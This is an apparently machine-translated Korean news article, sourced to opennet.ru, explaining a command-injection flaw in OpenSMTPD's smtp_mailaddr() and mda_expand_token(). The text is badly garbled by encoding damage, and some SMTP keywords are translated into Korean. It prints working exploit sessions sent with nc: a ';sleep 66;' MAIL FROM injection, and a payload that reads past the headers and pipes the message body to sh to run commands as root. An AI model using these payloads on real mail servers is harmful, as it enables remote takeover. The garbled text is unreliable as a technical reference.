OpenBSD ํ๋ก์ ํธ์์ ๊ฐ๋ฐํ ๋ฉ์ผ ์๋ฒ์์
๋ ๊ฐ์ง ๊ณต๊ฒฉ ์ต์ ์ด ์ ์๋ฉ๋๋ค. ์ฒซ ๋ฒ์งธ ์ต์ ์ ๊ธฐ๋ณธ OpenSMTPD ๊ตฌ์ฑ(localhost์ ์์ฒญ๋ง ์๋ฝ)์์ ์๋ํ๋ฉฐ ๊ณต๊ฒฉ์๊ฐ ์๋ฒ(์: ํธ์คํ ์์คํ )์ ๋ก์ปฌ ๋คํธ์ํฌ ์ธํฐํ์ด์ค(๋ฃจํ๋ฐฑ)์ ์ก์ธ์คํ ์ ์๋ ๊ฒฝ์ฐ ๋ก์ปฌ์์ ๋ฌธ์ ๋ฅผ ์ ์ฉํ ์ ์์ต๋๋ค. . ๋ ๋ฒ์งธ ์ต์ ์ OpenSMTPD๊ฐ ์ธ๋ถ ๋คํธ์ํฌ ์์ฒญ(ํ์ฌ ๋ฉ์ผ์ ํ์ฉํ๋ ๋ฉ์ผ ์๋ฒ)์ ์์ ํ๋๋ก ๊ตฌ์ฑ๋ ๊ฒฝ์ฐ ๋ฐ์ํฉ๋๋ค. ์ฐ๊ตฌ์๋ค์ OpenBSD 6.6์ ํฌํจ๋ OpenSMTPD ๋ฒ์ ๊ณผ ๋ค๋ฅธ ์ด์ ์ฒด์ ์ฉ ์ด์ ๊ฐ๋ฅํ ๋ฒ์ ๋ชจ๋์์ ์ฑ๊ณต์ ์ผ๋ก ์๋ํ๋ ์ต์คํ๋ก์์ ํ๋กํ ํ์ ์ ์ค๋นํ์ต๋๋ค(Debian Testing์์ ์ํ๋จ).
์ด ๋ฌธ์ ๋ ๋ณด๋ธ ์ฌ๋/๋ฐ๋ ์ฌ๋์ ์ ์ํ๊ณ ์ฐ๊ฒฐ ์ค์ ์ ๋ฌ๋๋ "MAIL FROM" ๋ฐ "RCPT TO" ํ๋ ๊ฐ์ ์ ํ์ฑ์ ํ์ธํ๊ธฐ ์ํด ํธ์ถ๋๋ smtp_mailaddr() ํจ์์ ์ค๋ฅ๋ก ์ธํด ๋ฐ์ํฉ๋๋ค. ๋ฉ์ผ ์๋ฒ์ ํจ๊ป. ์ด๋ฉ์ผ ์ฃผ์ ์ค โ@โ ๊ธฐํธ ์์ ์ค๋ ๋ถ๋ถ์ ํ์ธํ๋ ค๋ฉด smtp_mailaddr() ํจ์๋ฅผ ํธ์ถํฉ๋๋ค.
valid_localpart()๋ RFC 5322์์ ์๊ตฌํ๋ ๋๋ก "!#$%&'*/?^`{|}~+-=_" ๋ฌธ์๋ฅผ ํ์ฉ(MAILADDR_ALLOWED)ํฉ๋๋ค.
์ด ๊ฒฝ์ฐ ๋ฌธ์์ด์ ์ง์ ์ด์ค์ผ์ดํ๋ "!#$%&'*?`{|}~"(MAILADDR_ESCAPE) ๋ฌธ์๋ง ๋ฐ๊พธ๋ mda_expand_token() ํจ์์์ ์ํ๋ฉ๋๋ค. ์ดํ mda_expand_token()์์ ์ค๋น๋ ๋ผ์ธ์ 'execle("/bin/sh", "/bin/sh", "-c", mda_command,...' ๋ช ๋ น์ ์ฌ์ฉํ์ฌ ์ ๋ฌ ์์ด์ ํธ(MDA)๋ฅผ ํธ์ถํ ๋ ์ฌ์ฉ๋ฉ๋๋ค. . /bin/sh๋ฅผ ํตํด mbox์ ๋ฌธ์๋ฅผ ๋ฐฐ์นํ๋ ๊ฒฝ์ฐ "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}" ํ์ด ์คํ๋๊ณ , ์ฌ๊ธฐ์ "%" ๊ฐ์ {mbox.from}โ์๋ "MAIL FROM" ๋งค๊ฐ๋ณ์์์ ์ด์ค์ผ์ดํ๋ ๋ฐ์ดํฐ๊ฐ ํฌํจ๋ฉ๋๋ค.
์ทจ์ฝ์ ์ ๋ณธ์ง์ smtp_mailaddr()์ ๋ ผ๋ฆฌ์ ์ค๋ฅ๊ฐ ์๋ค๋ ๊ฒ์ ๋๋ค. ์ด๋ก ์ธํด ๋น ๋๋ฉ์ธ์ด ์ด๋ฉ์ผ๋ก ์ ์ก๋๋ฉด "@" ์์ ์ฃผ์ ๋ถ๋ถ์ ์ ํจํ์ง ์์ ๋ฌธ์๊ฐ ํฌํจ๋์ด ์์ด๋ ํจ์๊ฐ ์ฑ๊ณต์ ์ธ ํ์ธ ์ฝ๋๋ฅผ ๋ฐํํฉ๋๋ค. . ๋ํ ๋ฌธ์์ด์ ์ค๋นํ ๋ mda_expand_token() ํจ์๋ ๊ฐ๋ฅํ ๋ชจ๋ ์ ํน์ ๋ฌธ์๋ฅผ ์ด์ค์ผ์ดํํ์ง ์๊ณ ์ด๋ฉ์ผ ์ฃผ์์ ํ์ฉ๋๋ ํน์ ๋ฌธ์๋ง ์ด์ค์ผ์ดํํฉ๋๋ค. ๋ฐ๋ผ์ ๋ช ๋ น์ ์คํํ๋ ค๋ฉด ์ด๋ฉ์ผ์ ๋ก์ปฌ ๋ถ๋ถ์ ";" ๊ธฐํธ๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ผ๋ก ์ถฉ๋ถํฉ๋๋ค. MAILADDR_ESCAPE ์ธํธ์ ํฌํจ๋์ง ์๊ณ ์ด์ค์ผ์ดํ๋์ง ์๋ ๊ณต๋ฐฑ์ ๋๋ค. ์๋ฅผ ๋ค์ด:
$ NC 127.0.0.1 25
HELO ๊ต์.ํ์ผ
๋ฉ์ผ ๋ณด๋ธ ์ฌ๋:<;sleep 66;>
RCPT ๋์:
๋ฐ์ดํฐ
.
๋์ด์
์ด ์ธ์ ์ด ๋๋๋ฉด OpenSMTPD๊ฐ mbox์ ์ ๋ฌ๋๋ฉด ์ ธ์ ํตํด ๋ช ๋ น์ ์คํํฉ๋๋ค.
/usr/libexec/mail.local -f ;sleep 66; ๋ฟ๋ฆฌ
๋์์ ์ฃผ์์ ๋ก์ปฌ ๋ถ๋ถ์ด 64์๋ฅผ ์ด๊ณผํ ์ ์์ผ๋ฉฐ ํน์ ๋ฌธ์ '$' ๋ฐ '|'๊ฐ ํฌํจ๋์ด ๊ณต๊ฒฉ ๊ฐ๋ฅ์ฑ์ด ์ ํ๋ฉ๋๋ค. ์ด์ค์ผ์ดํํ ๋๋ ":"์ผ๋ก ๋์ฒด๋ฉ๋๋ค. ์ด ์ ํ์ ์ฐํํ๊ธฐ ์ํด ์ฐ๋ฆฌ๋ ์ ๋ ฅ ์คํธ๋ฆผ์ ํตํด /usr/libexec/mail.local์ ์คํํ ํ ๋ฌธ์ ๋ณธ๋ฌธ์ด ์ ์ก๋๋ค๋ ์ฌ์ค์ ์ฌ์ฉํฉ๋๋ค. ์ฃผ์๋ฅผ ์กฐ์ํ๋ฉด sh ๋ช ๋ น ํด์๊ธฐ๋ฅผ ์คํํ๊ณ ๋ฌธ์ ๋ณธ๋ฌธ์ ์ผ๋ จ์ ์ง์นจ์ผ๋ก ์ฌ์ฉํ ์๋ง ์์ต๋๋ค. ์๋น์ค SMTP ํค๋๋ ๋ฌธ์ ์์ ๋ถ๋ถ์ ํ์๋๋ฏ๋ก ์ด๋ฅผ ๊ฑด๋๋ฐ๋ ค๋ฉด ๋ฃจํ์์ ์ฝ๊ธฐ ๋ช ๋ น์ ์ฌ์ฉํ๋ ๊ฒ์ด ์ข์ต๋๋ค. ์๋ํ๋ ์ต์คํ๋ก์์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
$ NC 192.168.56.143 25
HELO ๊ต์.ํ์ผ
๋ฉ์ผ ๋ณด๋ธ ์ฌ๋:<;for i in 0 1 2 3 4 5 6 7 8 9 abcd;์ฝ๊ธฐ r;์๋ฃ;sh;exit 0;>
RCPT ๋์:[์ด๋ฉ์ผ ๋ณดํธ]>
๋ฐ์ดํฐ
#0
#1
...
#d
WOPR์์๋ ๋์ ๋ํด; ํ๋ค
echo -n "($i) " && id || ๋ถ์์ง๋ค
์๋ฃ > /root/x."`id -u`.""$$"
.
๋์ด์
์ถ์ฒ : opennet.ru